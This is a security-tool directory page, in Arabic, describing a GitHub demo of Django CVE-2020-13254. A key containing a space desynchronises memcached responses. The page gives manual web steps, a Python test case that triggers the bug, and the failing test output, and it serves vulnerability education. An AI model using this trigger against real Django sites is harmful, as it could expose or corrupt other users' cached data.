Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
django-cve-2020-13254 — عرض توضيحي للثغرة الأمنية Django CVE-2020-13254 | Kitploit
أدوات/GitHubGitHub/danpalmer/django-cve-2020-13254
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubdanpalmer/django-cve-2020-13254

django-cve-2020-13254

عرض توضيحي للثغرة الأمنية Django CVE-2020-13254

عرض المستودع
212منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Django CVE-2020-13254

يوضح هذا المستودع استغلال CVE-2020-13254 بطريقتين – عبر واجهة ويب وعبر حالة اختبار فاشلة.

لمزيد من التفاصيل، زر:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

الاستغلال عبر الويب

يقدم المثال واجهة ويب مع نموذجين، أحدهما يضبط القيم في ذاكرة التخزين المؤقت والآخر يسترجعها. تُترجم هذه مباشرة إلى استدعاءات لواجهة خلفية ذاكرة التخزين المؤقت في Django. نظرًا لأن قاعدة الكود لا تطبق أي نظام جلسات أو مصادقة، فإن الاستخدامات المتعددة في نفس علامة تبويب المتصفح لا يمكن تمييزها عن الاستخدامات المتعددة من قبل مستخدمين مختلفين عبر الأجهزة.

للاستغلال:

  1. اضبط مفاتيح A و B إلى القيمتين a و b.
  2. حاول ضبط C D إلى القيمة c d. سيؤدي هذا إلى خطأ.
  3. حاول استرجاع المفتاح A، ستكون النتيجة خالية بشكل غير صحيح.
  4. حاول استرجاع المفتاح B، ستكون النتيجة a بشكل غير صحيح.

العرض التوضيحي عبر الاختبارات

يمكن التعبير عن هذه العملية كحالة اختبار كالتالي:

root@kitploit:~
from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

يفشل هذا مع الخطأ التالي:

root@kitploit:~
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

بعد set، تكون نتائج ذاكرة التخزين المؤقت التي يتم إرجاعها غير متزامنة مع الاستعلامات التي يتم إجراؤها.

تنزيل الأداة